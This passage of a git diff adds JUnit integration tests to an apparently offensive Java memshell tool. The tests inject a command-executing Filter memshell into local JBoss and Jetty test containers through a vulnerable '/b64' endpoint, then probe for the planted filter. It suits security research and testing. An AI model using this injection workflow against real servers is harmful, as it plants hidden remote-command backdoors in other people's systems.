Server.JBoss, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java index 0a110410..96a0119b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +21,11 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +77,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java index e5d33196..f658f880 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java @@ -2,10 +2,17 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -35,6 +46,11 @@ public class JbossEap7ContainerTest { .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @AfterAll + public static void tearDown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -70,4 +86,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java index c5fb6cfc..94ec51ac 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,8 +21,11 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; -import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +78,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java index f432a30b..3fb0e4bf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java @@ -2,11 +2,18 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -34,6 +45,11 @@ public class Jetty10ContainerTest { .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @AfterAll + public static void tearDown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -69,4 +85,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V11, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java index ffbbfe08..288453eb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -16,9 +22,14 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.startsWith; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -75,4 +86,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java index aa0f9670..c5213ade 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java @@ -2,8 +2,13 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +20,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -62,4 +71,21 @@ void testCommandReqHeaderResponseBody() { String url = getUrl(container); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java index d2a75485..a5b4a1f9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java @@ -2,8 +2,13 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +20,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -62,4 +71,21 @@ void testCommandReqHeaderResponseBody() { String url = getUrl(container); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java index bdeeca13..c907fefd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -16,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -68,4 +78,21 @@ void testCommandReqHeaderResponseBody() { String url = getUrl(container); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java index ca93ceda..78e1ecb2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java @@ -2,8 +2,13 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +20,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -62,4 +71,21 @@ void testCommandReqHeaderResponseBody() { String url = getUrl(container); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java index f61918b1..c5391900 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -16,9 +22,11 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -75,4 +83,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java index 885df93f..16b34dc1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +21,11 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +77,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java index 8f51b948..7b38c53e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +79,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java index b09f1337..83b9de86 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static 